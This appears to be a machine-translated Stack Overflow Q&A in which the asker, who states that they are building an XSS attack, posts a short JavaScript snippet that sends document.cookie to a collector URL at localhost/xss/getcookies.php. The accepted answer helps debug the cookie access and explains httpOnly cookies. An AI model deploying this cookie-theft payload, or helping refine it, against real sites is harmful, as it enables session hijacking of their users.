javascript - 无法在 Firefox 和 IE 中读取 cookie

标签 javascript cookies

我必须使用 JavaScript 读取 cookie。我正在使用 document.cookie 来执行相同的操作。但该方法仅适用于 Google Chrome,不适用于 Firefox 和 IE 8/9。所有网页还显示 document.cookie 作为实现此目的的一种方式。

如何使用 JavaScript 在 Firefox 和 IE 中获取 cookie?

谢谢

更新 我在本地主机上测试了我的代码。在 blogspot.com 上在线测试代码时,它甚至无法在 Chrome 上运行。

无论如何,这是 HTML 代码:

<script type="text/javascript">
    function sendCookies(){
        document.location='http://localhost/xss/getcookies.php?cookie='+escape(document.cookie);
    }
</script>
<a onclick="sendCookies()" href="#">
click here </a> to know about XSS attack.

在浏览器中调试 document.cookie 时,它仅在 Chrome 中显示值。如果我将 localhost 链接替换为在线链接,则 document.cookie 为空,即使在 Chrome 上也是如此。

您可能的猜测是正确的。这是一种跨站点脚本攻击。

有关此代码的任何帮助对我都有用吗?

更新2:

以下是演示如何执行 XSS 攻击的视频链接:

How to perform XSS attack

最佳答案

你尝试过使用 jquery-cookie 吗? https://github.com/carhartl/jquery-cookie 另外,请记住,您无法使用 javascript 读取仅限 http 的 cookie。不过,如果您可以在 Chrome 中读取 cookie,则它不是仅限 http 的 cookie。您可以通过转到 chrome 调试控制台中的资源选项卡并检查 HTTP 列是否有 cookie 的勾号来检查 cookie 是否仅支持 http。

关于javascript - 无法在 Firefox 和 IE 中读取 cookie,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10499173/

相关文章:

javascript - 键盘向上/向下滚动

node.js - Express React cookie 问题

javascript - 带有数组的 AngularJS cookie

javascript - 登录的用户是特定 View 上的 AnonymousUser

javascript - 关于window.open和cookie的一个问题

javascript - 如何从 Javascript 禁用 CheckBoxList 中的项目?

javascript - 使用 prependTo() 时按钮之间的间距丢失

javascript - 如何将使用 javascript 创建的 div 传递到另一个使用 php 的页面

javascript - Ajax 发布到 php。保存cookie并将其发送回javascript

javascript - 单击关闭按钮后关闭弹出窗口